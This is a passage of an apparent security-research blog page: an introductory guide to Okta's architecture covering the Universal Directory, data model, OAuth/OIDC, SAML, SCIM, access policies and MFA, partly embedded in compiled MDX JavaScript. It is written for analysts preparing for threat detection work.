reducing XSS vulnerabilities, but require careful implementation to avoid CSRF attacks. Local and session storage options, while convenient, are generally less recommended for sensitive data like access tokens due to their susceptibility to XSS attacks. The choice of storage method will depend on the application where a traditional web page, mobile device, or single-page app is being used.\n\n### Security and expiration:\n\nThe security of access tokens is of paramount importance in safeguarding user authentication and authorization processes, especially during their transmission over the internet. Encrypting these tokens is crucial, as it ensures that their contents remain confidential and impervious to unauthorized access. Equally important is the use of secure communication channels, notably HTTPS, to prevent the interception and compromise of tokens in transit. Furthermore, the signature component of a token, particularly in JWTs, plays a vital role in verifying its authenticity and integrity. This signature confirms that the token has not been altered and is genuinely issued by a trusted authority, thus preventing the risks associated with token forgery and replay attacks.\n\nAccess tokens are inherently designed with expiration mechanisms, a strategic choice to mitigate the risks associated with token theft or misuse. This finite lifespan of tokens necessitates regular renewal, typically managed through refresh tokens, thereby ensuring active session management and reducing opportunities for unauthorized use. The storage and handling of these tokens in client applications also significantly impact their overall security. Secure storage methods, such as in-memory or encrypted cookies, alongside careful management of token renewal processes, are essential to prevent unauthorized access and maintain the robustness of user sessions and access controls.\n\n# Authentication workflow\n\n## Authentication vs authorization\nBefore we dive into authentication in Okta, we should take a moment to understand the difference between authentication and authorization. To put it simply, authentication is providing evidence to prove identity, whereas authorization is about permissions and privileges once access is granted. \n\nAs we discussed throughout this blog, the Identity Engine and UD are critical to identity management in Okta. As a recap, the Identity Engine is used for enrolling, authentications, and authorizing users. The UD is used as the main directory service in Okta that contains users, groups, profiles, and policies, also serving as the source of truth for user data. The UD can be synchronized with other directory services such as AD or LDAP through the Okta endpoint agent.\n\nIdentity management can be managed via Okta or through an external IdP, such as Google Workspace. Essentially, when access to an application is requested, redirection to the authorization server’s endpoint APIs for authentication are generated to provide proof of identity.\n\nBelow are the main authentication protocols between the end user, resource server, and authorization server:\n\n - OIDC: Authentication protocol that sits on top of the OAuth authorization framework. Workflow requires an ID token (JWT) to be obtained during an access token request.\n - SAML: Open standard protocol formatted in XML that facilitates user identity data exchange between SPs and IdPs.\n\nWithin Okta, there is plenty of flexibility and customization regarding authentication. Basic authentication is supported where simple username and password schemes are used over HTTP with additional parameters and configurations.\n\n## SAML in authentication\n\nAs previously stated, [SAML](https://developer.okta.com/docs/concepts/saml/) is a login standard that helps facilitate user access to applications based on HTTP(s) requests and sessions asynchronously. Over time the use of basic credentials for each application quickly became a challenge and thus federated identity was introduced to allow identity authentication across different SPs, facilitated by the identity providers. \n\nSAML is primarily a web-based authentication mechanism as it relies on a flow of traffic between the end user, IdP, and SP. The SAML authentication flow can either be IdP or SP initiated depending on where the end user visits first for application access.\n\nThe SAML request is typically generated by the SP whereas the SAML response is generated by the IdP. The response contains the SAML assertion, which contains information about the authenticated user’s identity and a signed signature by the IdP.\n\nIt is important to note that during the SAML workflow, the IdP and SP typically never communicate directly, but instead rely on the end user’s browser for redirections. Typically, the SP trusts the IdP and thus the identity data forwarded through the user’s web browser to the SP is trusted in access is granted to the application requested.\n\n\n\nIn step 5 from the diagram above, the SAML assertion would be sent as part of this response after the user has authenticated with the IdP. Remember that the assertion is in XML format and can be quite extensive as it contains identity information for the SP to parse and rely on for the end user’s identity verification. Generic examples of SAML assertions are [provided](https://www.samltool.com/generic_sso_res.php) by OneLogin. Auth0 also [provides](https://samltool.io/) a decoder and parser for these examples as well which is shown in the image below.\n\n\n\n## IdP vs SP responsibilities\n\nWhen discussing the roles and responsibilities of the SP and IdP, keep in mind that the SP is meant to provide access to applications for the end user, whereas the IdP provides authentication and authorization. The SP and IdP are typically set up to trust each other with their designated responsibilities. Depending on the end user, workflows for authentication and authorization can be SP or IdP initiated where RESTful API endpoints are typically depended on for each workflow. For authentication, requests and responses are sent from the IdP and SP but often proxied through the end user’s browser.\n\nAlthough Okta is mainly an IdP and provides authentication and authorization services, it can also be used as an SP. Previously we discussed how Okta’s integration network allows for various 3rd-party applications to be connected and accessible to users through their dashboard. We also explained how authentication workflows can be SP initiated, meaning users could visit their Okta dashboard to request access to an application. At the same time, a 3rd-party IdP could be established such as Google Workspace or Azure AD which would handle the authentication and authorization of the user. If the user were to request access with this type of setup, Okta would then redirect the user to Azure AD for authentication.\n\n## Single-factor vs multi-factor authentication\n\nSingle-factor authentication (SFA) is the simplest form of authentication, requiring a user to supply one credential object for authentication. Commonly, users are familiar with password-based authentication methods where a username and password are supplied to validate themselves. This of course has security implications if the credentials used are stolen as they can be used by an adversary to login and access the same resources.\n\nMultifactor authentication (MFA) is similar to SFA, except it requires two or more types of credentials or evidence to be supplied for authentication, typically in sequence. For example, a password-based credential may be supplied and once verified by the IdP, then requested by an OTP be supplied by a mobile device authenticator application, SMS message, email, and others. The common types of authentication factors are something that the user knows, possesses, or is inherent. This also increases the complexity to adversaries based on randomized string generation for OTPs and MFA token expirations.\n\nOkta enables other types of authentication methods such as passwordless, risk-based, biometric, transaction, and others. A full list of authentication methods and descriptions can be found [here](https://developer.okta.com/docs/concepts/iam-overview-authentication-factors/#authentication-methods).\n\nEvery application or integration added to the Okta organization has an [authentication policy](https://help.okta.com/oie/en-us/content/topics/identity-engine/policies/about-app-sign-on-policies.htm), which verifies conditions for users who attempt to access each application. Authentication policies can also help enforce factor requirements based on these conditions where the UD and user profile are used to analyze information about the user. Authentication policies can be set globally for applications and users or can be more granular if set at the application level where specific user conditions are met. Authentication policies can be updated, cloned, preset, and merged if duplicate policies. Rules that define these granular conditions can be applied to these authentication policies with the Okta Expression Language ([EL](https://help.okta.com/oie/en-us/content/topics/identity-engine/devices/el-about.htm)). \n\n## Client-side and server-side communications\n\nUnderstanding the distinction between front-end (user-browser interactions) and back-end (server-to-server communications) is crucial in web-based authentication systems. Front-end interactions typically involve user interfaces and actions, while back-end channels handle critical exchanges like SAML assertions or OAuth tokens, crucial for secure authentication.\n\nIn Okta's framework, the interplay between browser and server is key for security and user experience. When a user logs in via Okta, the browser first authenticates with Okta, which then sends back the necessary tokens. These are forwarded to the application server which validates them with Okta, ensuring a secure, behind-the-scenes token exchange.\n\nOkta’s token management is marked by stringent security. Issued tokens like ID and access tokens are securely exchanged among the user’s browser, Okta, and application servers. Protocols like HTTPS and OAuth 2.0 safeguard these transmissions. Features like token rotation and automatic revocation further bolster security, preventing unauthorized access.\n\nIntegrating Okta into an application reshapes its design and security. This offloads significant security responsibilities, allowing developers to focus on core functions. Such integration leads to a modular architecture, where authentication services are separate from application logic. \n\n# Conclusion\n\nWe’ve unraveled the complexities of Okta’s architecture and services, providing insights into its role as a leader in modern authentication and authorization. With the platform’s utilization of protocols like OAuth, OIDC, and SAML, Okta stands at the forefront of scalable, integrated solutions, seamlessly working with platforms such as Azure AD and Google Workspace.\n\nOkta's SaaS design, featuring a RESTful API, makes it a versatile Identity Provider (IdP) and Service Provider (SP). Yet, its popularity also brings potential security vulnerabilities. For cybersecurity professionals, it’s crucial to grasp Okta’s complexities to stay ahead of evolving threats. This introduction sets the stage for upcoming deeper analyses of Okta's attack surface, the setup of a threat detection lab, and the exploration of common attacks.\n\nArmed with this knowledge, you’re now better equipped to analyze, understand, and mitigate the evolving cybersecurity challenges associated with Okta’s ecosystem.\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var g=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),y=(n,e)=\u003e{for(var i in e)s(n,i,{get:e[i],enumerable:!0})},r=(n,e,i,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of p(e))!m.call(n,a)\u0026\u0026a!==i\u0026\u0026s(n,a,{get:()=\u003ee[a],enumerable:!(o=u(e,a))||o.enumerable});return n};var w=(n,e,i)=\u003e(i=n!=null?h(f(n)):{},r(e||!n||!n.__esModule?s(i,\"default\",{value:n,enumerable:!0}):i,n)),k=n=\u003er(s({},\"__esModule\",{value:!0}),n);var l=g((T,c)=\u003e{c.exports=_jsx_runtime});var O={};y(O,{default:()=\u003eA,frontmatter:()=\u003ev});var t=w(l()),v={title:\"Starter guide to understanding Okta\",subtitle:\"An introduction for security analysts\",slug:\"starter-guide-to-understanding-okta\",date:\"2024-01-23\",description:\"This article delves into Okta's architecture and services, laying a solid foundation for threat research and detection engineering. Essential reading for those aiming to master threat hunting and detection in Okta environments.\",author:[{slug:\"terrance-dejesus\"}],image:\"photo-edited-09.png\",category:[{slug:\"security-research\"}]};function d(n){let e=Object.assign({h1:\"h1\",p:\"p\",ul:\"ul\",li:\"li\",h2:\"h2\",a:\"a\",h3:\"h3\",em:\"em\",code:\"code\",ol:\"ol\",pre:\"pre\",img:\"img\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h1,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"The evolution of digital authentication from simple, unencrypted credentials to today\\u2019s advanced methods underscores the importance of data security. As organizations adapt to hybrid deployments and integral application access is no longer within the perimeter of a network, inherited authentication complexity and risk ensue. The adoption of standard authentication protocols and advanced workflows is mandatory to not only reduce risk but also maintain operational stability amongst users who require access to various applications. Okta provides solutions to these inherent industry problems with its comprehensive SaaS platform for Identity and Access Management (IAM) services.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We will examine Okta's services and solutions in the context of Software-as-a-Service (SaaS) platforms and against the backdrop of the broader threat landscape. We'll explore historical and potential vulnerabilities to understand their origins and impacts. This article will provide insights into:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Universal Directory (UD)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Data Model\"}),`\n`,(0,t.jsx)(e.li,{children:\"API Access Management\"}),`\n`,(0,t.jsx)(e.li,{children:\"Access Policies\"}),`\n`,(0,t.jsx)(e.li,{children:\"Session Management\"}),`\n`,(0,t.jsx)(e.li,{children:\"Tenants\"}),`\n`,(0,t.jsx)(e.li,{children:\"Authorization Workflows\"}),`\n`,(0,t.jsx)(e.li,{children:\"Authentication Workflows.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"With a deeper understanding of Okta, security practitioners may leverage this knowledge to accurately assess attack surfaces where Okta is deployed.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"oktas-offerings\",children:\"Okta's offerings\"}),`\n`,(0,t.jsx)(e.h2,{id:\"overview-of-core-services\",children:\"Overview of core services\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this introduction, we delve into the core services provided by Okta. Primarily, Okta is a SaaS platform, specializing in scalable Identity and Access Management (IAM) solutions. Central to its offerings are technologies such as Single Sign-On (SSO), Multi-Factor Authentication (MFA), and support for complex multi-tenant architectures. Okta also boasts a robust suite of RESTful APIs, facilitating seamless Create, Read, Update, and Delete (CRUD) operations.\"}),`\n`,(0,t.jsx)(e.p,{children:\"At the heart of Okta\\u2019s IAM solutions lie users, groups, and policies. The platform provides comprehensive lifecycle management and a UD, allowing seamless IAM across hybrid environments encompassing applications, devices, and more. This includes synchronization capabilities with external directories like LDAP or Active Directory (AD), ensuring a unified identity management system.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"A key aspect of Okta's service is its dual role as both a Service Provider (SP) and an Identity Provider (IdP). This dual functionality enables Okta to facilitate secure and seamless authentication via its \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/oie/en-us/content/topics/identity-engine/oie-index.htm\",rel:\"nofollow\",children:\"Identity Engine\"}),\", and robust authorization using standard protocols such as OAuth, while also supporting authentication protocols such as Security Assertion Markup Language (SAML) and OpenID Connect (OIDC).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For customers, Okta offers valuable tools for security and compliance. \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/api/openapi/okta-management/management/tag/SystemLog/\",rel:\"nofollow\",children:\"System logs\"}),\", environment-based events that are stored and retrievable via API, provide insights into user activities and organizational events. These logs are crucial for Security Information and Event Management (SIEM) systems, aiding in the detection of anomalies and potential threats.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, Okta's \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/security/threat-insight/about-threatinsight.htm\",rel:\"nofollow\",children:\"ThreatInsight\"}),\" feature stands out as a proactive security measure. It aggregates and analyzes system logs, dynamically identifying and responding to potential threats. This includes recognizing patterns indicative of malicious activities such as password spraying, credential stuffing, and detecting suspicious IP addresses. These features collectively enhance the security posture of organizations, fortifying them against a wide array of cyber threats.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"integration-capabilities\",children:\"Integration capabilities\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Aside from some of the many offerings, Okta is very developer-friendly with various other SaaS solutions and applications. Out of the box, Okta contains an \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/integrations/\",rel:\"nofollow\",children:\"integration network\"}),\" that allows seamless integration with other applications such as Slack, Google Workspace, Office 365, GitHub, and many more.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Okta\\u2019s \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/reference/core-okta-api/\",rel:\"nofollow\",children:\"RESTful APIs\"}),\" follow the System for Cross-domain Identity Management (\",(0,t.jsx)(e.a,{href:\"https://datatracker.ietf.org/doc/html/rfc7644\",rel:\"nofollow\",children:\"SCIM\"}),\") protocol. This allows for straightforward Create, Read, Update, and Delete (CRUD) operations on users and groups by applications or developers, but also enables standardization within the SaaS ecosystem. SCIM is a pivotal component of Okta's scalability. As businesses expand, the need to integrate an increasing number of users, groups, and access controls across various SaaS platforms grows. SCIM addresses this challenge by standardizing how user identity data is communicated between these platforms. This standardization facilitates the process of user management, especially in synchronizing user information across different systems.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Okta\\u2019s object management regarding APIs is focused on several domains listed below:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Apps API - Manage applications and their association with users and groups.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Users API - CRUD operations on users.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Sessions API - Creates and manages user\\u2019s authentication sessions.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Policy API - Creates and manages settings such as a user\\u2019s session lifetime.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Factors API - Enroll, manage, and verify factors for MFA.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Devices API - Manage device identity and lifecycles.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"When integrations are added to an Okta organization, authentication policies, both fine-grained and global, can be set up for access control based on end-user attributes stored within the user\\u2019s Okta profile.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"universal-directory\",children:\"Universal directory\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"At the core of Okta\\u2019s user, group, policy, and device management is the \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/products/universal-directory\",rel:\"nofollow\",children:\"UD\"}),\". This is a single pane view of all assets, whether sourced from Okta, an integration, or a secondary directory service such as AD.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The UD is technically an Okta-managed, centralized, and cloud-based repository for all user, group, device, and policy profiles. Okta is either the source of truth regarding IAM or synchronizes with other federation services and identity providers such as AD or Google Workspace. The UD is accessible behind Okta\\u2019s core APIs for CRUD operations and used in conjunction with their single sign-on (SSO) platform, thus providing authentication and authorization to linked integrations or the admin console itself. Everything from user management to streamlined password management is enabled by the UD.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In conclusion, the UD classifies as a directory-as-a-service (\",(0,t.jsx)(e.a,{href:\"https://jumpcloud.com/daas-glossary/directory-as-a-service-daas\",rel:\"nofollow\",children:\"DaaS\"}),\"), similar to AWS directory service, Microsoft\\u2019s Entra ID and many more.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"customization-and-management\",children:\"Customization and management\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Adding a bit more depth to the UD, profile customization is accessible. This enables an organization to store a record of information regarding users and groups that contain specific attributes. Base attributes are assigned by Okta, but custom attributes can be added as well between user, group, and app \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/user-profiles/\",rel:\"nofollow\",children:\"user profiles\"}),\". Attribute mappings are important for synchronization and data exchanges between integrations and other directory services. For example, the AD attribute givenName can be mapped specifically to FirstName and LastName in Okta. Aside from synchronization, this is important for other Okta-related features such as \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/inline-hooks/\",rel:\"nofollow\",children:\"inline hooks\"}),\", directory rules and actions, and more.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, this enables rich SAML assertions and \",(0,t.jsx)(e.a,{href:\"https://auth0.com/docs/authenticate/protocols/ws-fed-protocol\",rel:\"nofollow\",children:\"WS-Federation\"}),\" claims where applications can utilize this information to create rich user accounts, update accounts, or create complex authorization and authentication decisions.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"There are additional \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/provisioning/lcm/con-okta-prov.htm\",rel:\"nofollow\",children:\"autonomous provisioning and deprovisioning\"}),\" options available as well with the UD and internal profiles, important for scalability and administrative tasks such as controlling which user types can access which applications, thus enabling more traditional role-based access control (RBAC) policies.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"integration-with-external-directories\",children:\"Integration with external directories\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As mentioned previously, the Okta \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/resources/whitepaper/ad-architecture/\",rel:\"nofollow\",children:\"Directory Integration\"}),\" can synchronize with external directories such as LDAP, AD, Google Workspace and others. For cloud-based DaaS platforms, Okta leverages RESTful APIs and the SCIM protocol to perform data exchanges and more. For on-premise environments, Okta has an AD \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/directory/ad-agent-new-integration.htm\",rel:\"nofollow\",children:\"endpoint agent\"}),\" that can be deployed and thus pulls information from directory services and ships it back to the UD.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Alternatively, Desktop SSO (DSSO) provides an \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/directory/configuring_agentless_sso.htm\",rel:\"nofollow\",children:\"agentless\"}),\" option as well. This supplies flexibility to cloud, on-premise or hybrid based environments all while continuing scalability and direct integration with 3rd-party applications. Architecturally, this solves the many pitfalls of LAN-based environments, where applications are served to domain users behind a firewall. From a security perspective, credentials and profiles are then synchronized from all application directories into a single \\u201Csource-of-truth\\u201D: Okta. It is much more approachable to audit a single directory as well in an instance where, for example, a disgruntled employee is no longer employed, and thus access across various applications must be deactivated. Single Log-Off (\",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/apps/apps_single_logout.htm\",rel:\"nofollow\",children:\"SLO\"}),\") is thus available for such situations thanks to these external directory integration capabilities.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, we must not overlook the amount of maintenance this potentially reduces for organizations who may not have the resources to manage SAML, OAuth, and SCIM communications between RESTful APIs or compatibility issues between integrations as Okta manages this for them.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additional solutions and examples of Okta providers with external directory support for AD can be found \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/resources/whitepaper/ad-architecture/\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"data-model\",children:\"Data model\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As we traverse through the Okta landscape, understanding Okta\\u2019s \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/okta-data-model/\",rel:\"nofollow\",children:\"data models\"}),\" is important to security practitioners who may be tasked with threat hunting, detection logic, and more.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"structure-and-design\",children:\"Structure and design\"}),`\n`,(0,t.jsx)(e.p,{children:\"When Okta is first established for an organization, it inherits its own \\u201Cspace\\u201D where applications, directories, user profiles, authentication policies, and more are housed. A top-level directory resource is given as a \\u201Cbase\\u201D for your organization where entities can be sourced from Okta or externally (LDAP, AAD, Google Workspace, etc.).\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Okta users are higher-privileged users who typically leverage the Okta \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/dashboard/dashboard.htm\",rel:\"nofollow\",children:\"admin console\"}),\" and perform administrative tasks, while end users are those who may rely on Okta for SSO, access to applications and more.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"By default, entities in Okta are referred to as resources. Each resource has a combined set of default and custom attributes as discussed before. Links then describe relationships or actions that are acceptable for a resource, such as a deactivation link. This information is then aggregated into a profile which is then accessible from within the UD. Groups are made up of users more as a label to a specific set of users.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Applications hold information about policies for access related to users and groups, as well as how to communicate with each integrated application. Together, the data stored about application access and related users is stored as an \",(0,t.jsx)(e.a,{href:\"https://support.okta.com/help/s/article/The-Okta-User-Profile-And-Application-User-Profile?language=en_US\",rel:\"nofollow\",children:\"AppUser\"}),\" and if mapping is done correctly between directories, enables access for end users.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A policy contains a set of conditions and rules that affect how an organization behaves with applications and users. Policies are all-encompassing in Okta, meaning they are used for making decisions and completing actions such as - what is required for a password reset or how to enroll in MFA. These rules can be expressed using the Okta Expression Language (\",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/reference/okta-expression-language-in-identity-engine/\",rel:\"nofollow\",children:\"OEL\"}),\").\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Dedicated \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/auth-servers/\",rel:\"nofollow\",children:\"authorization servers\"}),\" are used per organization to provide authorization codes and tokens for access to applications by API or resources. Here, authorization and authentication protocols such as OAuth, OIDC, and SAML are vital for workflows. These authorization servers are also responsible for communication with third-party IdPs such as Google Workspace. End users who may seek access to applications are entangled in communication between authorization servers and SPs as codes and tokens are exchanged rapidly to confirm authorization and authentication.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Altogether, this structure and design support scalability, customization, and seamless integration.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"api-access-management\",children:\"API access management\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"API access management is not only important for end users, administrators, and developers but also for integration-to-integration communication. Remember that at the forefront of Okta are its various RESTful \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/reference/core-okta-api/#manage-okta-objects\",rel:\"nofollow\",children:\"API endpoints\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"While we won\\u2019t dive deep into the design principles and object management of Okta\\u2019s APIs, we will attempt to discuss core concepts that are important for understanding attack surfaces later in this blog series.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"api-security\",children:\"API Security\"}),`\n`,(0,t.jsx)(e.h3,{id:\"oauth-20-and-oidc-implementation\",children:\"OAuth 2.0 and OIDC implementation\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Understanding the core protocols of \",(0,t.jsx)(e.a,{href:\"https://auth0.com/docs/authenticate/protocols/oauth\",rel:\"nofollow\",children:\"OAuth\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://auth0.com/docs/authenticate/protocols/openid-connect-protocol\",rel:\"nofollow\",children:\"OIDC\"}),\" is key before exploring various authorization and authentication workflows. OAuth, an open standard for delegated authorization in RESTful APIs, operates over HTTPS, enabling secure, delegated access using access tokens instead of credentials. These tokens, cryptographically signed by the Identity Provider (IdP), establish a trust relationship, allowing applications to grant user access. The typical OAuth workflow involves user access requests, user authentication, proof-of-authorization code delivery, and token issuance for API requests. Access tokens are verified with the IdP to determine access scope.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"OIDC (\",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/reference/api/oidc/#endpoints\",rel:\"nofollow\",children:\"API endpoints\"}),\") builds upon OAuth for authentication, introducing identity-focused scopes and an ID token in addition to the access token. This token, a JSON Web Token (\",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/blog/2020/12/21/beginners-guide-to-jwt\",rel:\"nofollow\",children:\"JWT\"}),\"), contains identity information and a signature, crucial for SSO functionality and user authentication. Okta, as a certified OIDC provider, leverages these endpoints, especially when acting as an authorization server for Service Providers (SPs).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Demonstrating Proof-of-Possession (\",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/guides/dpop/main/#oauth-2-0-dpop-jwt-flow\",rel:\"nofollow\",children:\"DPoP\"}),\") is crucial in this context, enhancing security by preventing misuse of stolen tokens through an application-level mechanism. It involves a public/private key pair where the public key, embedded in a JWT header, is sent to the authorization server. The server binds this public key to the access token, ensuring secure communication primarily between the user\\u2019s browser and the IdP or SP.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/guides/tokens/\",rel:\"nofollow\",children:\"Tokens\"}),\" and API keys in Okta\\u2019s API Access Management play a vital role, acting as digital credentials post-user authentication. They are transmitted securely via HTTPS and have a limited lifespan, contributing to a scalable, stateless architecture.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Lastly, understanding End-to-End Encryption (E2EE) is essential. E2EE ensures that data is encrypted at its origin and decrypted only by the intended recipient, maintaining security and privacy across the ecosystem. This encryption, using asymmetric cryptography, is a default feature within Okta\\u2019s APIs, safeguarding data across applications, browsers, IdPs, and SPs.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"restful-api-and-crud\",children:\"RESTful API and CRUD\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Okta's RESTful API adheres to a standardized interface design, ensuring uniformity and predictability across all interactions. This design philosophy facilitates CRUD (Create, Read, Update, Delete) operations, making it intuitive for developers to work with Okta's API. Each \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/reference/core-okta-api/\",rel:\"nofollow\",children:\"API endpoint\"}),\" corresponds to standard HTTP methods \\u2014 POST for creation, GET for reading, PUT for updating, and DELETE for removing resources. This alignment with HTTP standards simplifies integration and reduces the learning curve for new developers.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"A key feature of Okta providing a RESTful API is its statelessness \\u2014 each request from client to server must contain all the information needed to understand and complete the request, independent of any previous requests. This approach enhances scalability, as it allows the server to quickly free resources and not retain session information between requests. The stateless nature of the API facilitates easier load balancing and redundancy, essential for maintaining high availability and performance even as demand scales.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"scim\",children:\"SCIM\"}),`\n`,(0,t.jsx)(e.p,{children:\"SCIM (System for Cross-domain Identity Management) is an open standard that automates user identity management across various cloud-based applications and services. Integral to Okta's API Access Management, SCIM ensures seamless, secure user data exchange between Okta and external systems. It standardizes identity information, which is essential for organizations using multiple applications, reducing complexity and manual error risks.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Within Okta, SCIM\\u2019s role extends to comprehensive user and group management, handling essential attributes like usernames, emails, and group memberships. These are key for access control and authorization. Okta\\u2019s SCIM implementation is customizable, accommodating the diverse identity management needs of different systems. This adaptability streamlines identity management processes, making them more automated, efficient, and reliable - crucial for effective API access management.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"More information on SCIM can be found in \",(0,t.jsx)(e.a,{href:\"https://datatracker.ietf.org/doc/html/rfc7644\",rel:\"nofollow\",children:\"RFC 7644\"}),\" or by \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/scim/#how-does-scim-work\",rel:\"nofollow\",children:\"Okta\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"access-policies\",children:\"Access policies\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Okta's \",(0,t.jsx)(e.a,{href:\"https://developer.okta.com/docs/concepts/policies/\",rel:\"nofollow\",children:\"access policies\"}),\" play a critical role in managing access to applications and APIs. They can be customized based on user/group membership, device, location, or time, and can enforce extra authentication steps for sensitive applications. These policies, stored as JSON in Okta, allow for:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Creating complex authorization rules.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Specifying additional authentication levels for Okta applications.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Managing user access and modifying access token scopes with inline hooks.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Key Policy Types in Okta include:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Sign-On Policies\"}),\": Control app access with IF/THEN rules based on context, like IP address.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Global Session Policy\"}),\": Manages access to Okta, including factor challenges and session duration.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Authentication Policy\"}),\": Sets extra authentication requirements for each application.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Password Policy\"}),\": Defines password requirements and recovery operations.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.em,{children:\"Authenticator Enrollment Policy\"}),\": Governs multifactor authentication method enrollment.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Policy effectiveness hinges on their sequential evaluation, applying configurations when specified conditions are met. The evaluation varies between the AuthN and Identity Engine pipelines, with the latter considering both global session and specific authentication policies.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, 